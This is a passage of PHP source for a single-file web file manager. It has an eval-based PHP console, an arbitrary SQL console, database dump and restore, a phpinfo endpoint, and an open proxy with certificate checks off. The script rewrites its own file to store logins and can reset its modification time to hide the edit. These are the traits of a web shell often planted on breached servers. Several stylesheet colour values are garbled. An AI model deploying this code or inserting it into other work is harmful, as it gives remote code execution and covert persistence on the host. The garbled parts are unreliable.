	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: gt;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: red;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//как-то тоже подменять надо
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>'.__('File manager').'</title>
</head>
<body>
<form action="" method="post">
'.__('Login').' <input name="login" type="text">&nbsp;&nbsp;&nbsp;
'.__('Password').' <input name="password" type="password">&nbsp;&nbsp;&nbsp;
<input type="submit" value="'.__('Enter').'" class="fm_input">
</form>
'.fm_lang_form($language).'
</body>
</html>
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg .= __('File updated');
				} else $msg .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #CD5C5C 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title><?=__('File manager')?></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: ## #800080A ; text-decoration: underline; }
a.th:link { color: ##6495ED; text-decoration: none; }
a.th:active { color: #CD5C5C; text-decoration: none; }
a.th:visited { color: #E9967A; text-decoration: none; }
a.th:hover {  color: ## #800080 ; text-decoration: underline; }

table.bg {
	background-color: #C0C0C0
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	# #CD5C5C ;
	color:				#CD5C5C;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	##CD5C5C;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#FFC0CB;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	# #808000 ;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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");
}

.file {
    background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAKT2lDQ1BQaG90b3Nob3AgSUNDIHByb2ZpbGUAAHjanVNnVFPpFj333vRCS4iAlEtvUhUIIFJCi4AUkSYqIQkQSoghodkVUcERRUUEG8igiAOOjoCMFVEsDIoK2AfkIaKOg6OIisr74Xuja9a89+bN/rXXPues852zzwfACAyWSDNRNYAMqUIeEeCDx8TG4eQuQIEKJHAAEAizZCFz/SMBAPh+PDwrIsAHvgABeNMLCADATZvAMByH/w/qQplcAYCEAcB0kThLCIAUAEB6jkKmAEBGAYCdmCZTAKAEAGDLY2LjAFAtAGAnf+bTAICd+Jl7AQBblCEVAaCRACATZYhEAGg7AKzPVopFAFgwABRmS8Q5ANgtADBJV2ZIALC3AMDOEAuyAAgMADBRiIUpAAR7AGDIIyN4AISZABRG8lc88SuuEOcqAAB4mbI8uSQ5RYFbCC1xB1dXLh4ozkkXKxQ2YQJhmkAuwnmZGTKBNA/g88wAAKCRFRHgg/P9eM4Ors7ONo62Dl8t6r8G/yJiYuP+5c+rcEAAAOF0ftH+LC+zGoA7BoBt/qIl7gRoXgugdfeLZrIPQLUAoOnaV/Nw+H48PEWhkLnZ2eXk5NhKxEJbYcpXff5nwl/AV/1s+X48/Pf14L7iJIEyXYFHBPjgwsz0TKUcz5IJhGLc5o9H/LcL//wd0yLESWK5WCoU41EScY5EmozzMqUiiUKSKcUl0v9k4t8s+wM+3zUAsGo+AXuRLahdYwP2SycQWHTA4vcAAPK7b8HUKAgDgGiD4c93/+8//UegJQCAZkmScQAAXkQkLlTKsz/HCAAARKCBKrBBG/TBGCzABhzBBdzBC/xgNoRCJMTCQhBCCmSAHHJgKayCQiiGzbAdKmAv1EAdNMBRaIaTcA4uwlW4Dj1wD/phCJ7BKLyBCQRByAgTYSHaiAFiilgjjggXmYX4IcFIBBKLJCDJiBRRIkuRNUgxUopUIFVIHfI9cgI5h1xGupE7yAAygvyGvEcxlIGyUT3UDLVDuag3GoRGogvQZHQxmo8WoJvQcrQaPYw2oefQq2gP2o8+Q8cwwOgYBzPEbDAuxsNCsTgsCZNjy7EirAyrxhqwVqwDu4n1Y8+xdwQSgUXACTYEd0IgYR5BSFhMWE7YSKggHCQ0EdoJNwkDhFHCJyKTqEu0JroR+cQYYjIxh1hILCPWEo